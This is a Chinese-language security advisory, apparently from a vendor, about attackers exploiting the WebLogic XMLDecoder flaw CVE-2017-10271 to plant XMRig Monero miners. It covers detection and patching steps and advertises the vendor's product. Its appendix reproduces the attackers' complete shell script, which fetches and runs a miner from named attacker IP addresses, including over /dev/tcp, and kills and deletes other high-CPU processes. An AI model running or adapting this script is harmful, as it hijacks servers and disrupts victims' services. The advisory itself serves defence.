攻击事件概述
近日,中睿天下部署在用户处的「睿眼」设备,抓到数起黑客利用WebLogic漏洞对服务器发起的攻击行为,并作出致命等级的未知威胁告警。
进一步分析后,基本确定是利用WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)攻击,拿到系统权限后,下载并执行矿机程序进行虚拟货币挖矿。
与2017年12月爆发的Weblogic漏洞挖矿事件相比,此次攻击更恶劣的是为获取更高的CPU占用率杀掉用户的非矿机进程,从而导致用户主机宕机,严重影响正常的业务。
此次攻击使用的门罗币矿机程序为XMRig,代码托管在平台GitHub。而其利用的WebLogic XMLDecoder反序列化漏洞,早在2017年9月睿眼就已发现针对此漏洞的攻击。
目前该漏洞处于集中爆发期。「部委、银行、能源」等用户均已受到影响,大量主机失陷,预计后续会有更多的用户受到影响。
中睿天下已立刻成立应急响应小组,级别为红色。
▲ 「睿眼」9月告警WebLogic漏洞攻击
攻击过程分析
❖ IP扫描:攻击者在互联网上扫描存在CVE-2017-10271漏洞的机器,确定攻击目标IP。
❖ 漏洞利用:攻击者对筛选出的IP发动攻击,利用此漏洞获得命令执行的权限。
❖ 矿机植入:漏洞利用成功后,会去指定位置下载适合目标系统的挖矿工具进行挖矿,并伴随顽固启动程序。
❖ 杀掉进程:挖矿程序启动后,强行停止占用CPU过高的进程,导致业务中断。
样本分析
该命令执行脚本主要提供下载功能和杀掉主机上占用cpu高的进程。
详细分析命令执行脚本(详情见文末附录),中睿天下发现黑客主要通过构造以下几个模块顺序攻击:
checkCmd() //检查操作系统
pkill python;pkill perl; pkill $mName //首先杀掉所有python、perl、java脚本;
downloader () //提供wget、curl、python、socket四种下载方式下载矿机程序;
runer() //当检测到服务器不存在挖矿程序时,立即下载挖矿程序,存为”java” ,修改为最高权限,并调起;
killer() //检测到服务器中存在cpu占用超过60%,且非矿机的进程,直接杀掉;
while语句 //循环执行该命令;
▲「睿眼」捕获Weblogic攻击流量包
▲ 脚本「杀掉」进程并「下载」矿机程序
攻击影响范围
- ❖ WebLogic Server 10.3.6.0.0
- ❖ WebLogic Server 12.1.3.0.0
- ❖ WebLogic Server 12.2.1.1.0
- ❖ WebLogic Server 12.2.1.2.0
中睿建议
1,如何检测是否被攻击?
登录睿眼攻击溯源系统-web版,点击【威胁分析】->【全局分析】,参数搜索填写:*wls-wsal* 或 wls- 即可,HTTP状态码可搜索:!500 (状态码为500的可能为攻击成功数据包)。(见下图)
▲「睿眼」检测是否被攻击
2,发现已中招,如何处置威胁?
(1)更新补丁:
官方已发布修复补丁,建议立即排查资产并更新补丁。网址如下:
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
(2)删除组件
❖ 在不影响业务的情况下,删除WebLogic的wls-wsat应用包。
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
❖ 重启WebLogic服务或系统后,确认以下链接访问是否为404
http://ip:port/wls-wsat/CoordinatorPortType11
3,本次处置后,如何针对此黑客持续监测主动防御
虽本次事件定性为恶意挖矿,但不排除黑客利用权限进行下一步渗透。用户可在攻击溯源系统-网络版->威胁情报->配置管理->黑IP模块中添加IP,添加后睿眼可监控所有服务器和黑客IP的连接记录。
▲添加威胁情报进行持续监控
总结
相比2017年12月底发布的威胁情报预警,此次攻击的黑客团队数量扩大,攻击的规模更大,性质也更恶劣——除了下载挖矿程序外,还会丧心病狂地杀掉非矿机进程,从而导致主机宕机,影响正常的业务。
早在2017年9月,中睿天下睿眼就已发现针对此漏洞的攻击。目前该漏洞处于集中爆发期,「部委、银行、能源」等用户均已受到影响,大量主机中招,预计后续会有更多用户受影响。中睿天下已立刻成立应急响应小组,级别为红色。
如果您发现主机已被黑客攻击成功,或不确定主机是否存在风险,欢迎致电中睿天下技术团队寻求帮助。中睿天下将持续关注该漏洞的最新进展。
中睿天下联系电话:4008-232-911。
附录
❖ http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html官方补丁链接
❖ https://community.oracle.com/thread/4109711 甲骨文社区关于CVE-2017-10271漏洞攻击的交流互动
❖ 攻击者执行命令样本:
#!/bin/sh
sPid=$$
mPid=”
mName=’java’
checkCmd() {
command -v $1 >/dev/null 2>&1
}
downloader () {
if checkCmd wget; then
wget $1 -O $2
elif checkCmd curl; then
curl $1 -o $2
elif checkCmd python; then
if [ “`python -c “import sys;print(sys.version_info[0])”`” = “3” ]; then
python -c “from urllib.requestimport urlopen; u = urlopen(‘”$1″‘); localFile =open(‘”$2″‘, ‘wb’); localFile.write(u.read());localFile.close()”
else
python -c “from urllib importurlopen; u = urlopen(‘”$1″‘); localFile = open(‘”$2″‘,’wb’); localFile.write(u.read()); localFile.close()”
fi
else
cat < /dev/tcp/165.227.215.25/5555> $2
fi
chmod +x $2
}
killer() {
for tmpVar in `ps -aeo pid,%cpu,command |sed 1d | sort -k 2 | tail -n 10 | awk ‘{print $1}’`; do
if [ $tmpVar = $sPid ]; then
continue
fi
if [ $tmpVar = $mPid ]; then
continue
fi
if [ `ps -o %cpu $tmpVar | sed 1d | sed’s/\..*//g’` -ge 60 ]; then
if [ `ps $tmpVar | sed 1d | awk'{print $5}’ | grep java` ]; then
continue
fi
if [ `ps $tmpVar | sed 1d | awk'{print $5}’ | grep sh` ]; then
continue
fi
if [ `ps $tmpVar | sed 1d | awk'{print $5}’ | grep bash` ]; then
continue
fi
kill -9 $tmpVar
rm -f `ls -l /proc/$tmpVar/exe 2
&1 | sed ‘s/.*->//g’`
fi
done
}
runer() {
if [ -z “$mPid” ]; then
if [ ! -f $mName ]; then
downloaderhttp://165.227.215.25/java $mName
fi
chmod +x ./$mName
./$mName
fi
mPid=`ps -eo pid,command | grep $mName |head -n 1 | awk ‘{print $1}’`
}
pkill python; pkillperl; pkill $mName
downloaderhttp://45.77.245.237/java $mName
runer
killer
while true; do
sleep 10
if ps -p $mPid > /dev/null; then
killer
else
mPid=”
runer
fi
done
来源:freebuf.com 2019-05-21 20:14:26 by: zorelworld
请登录后发表评论
注册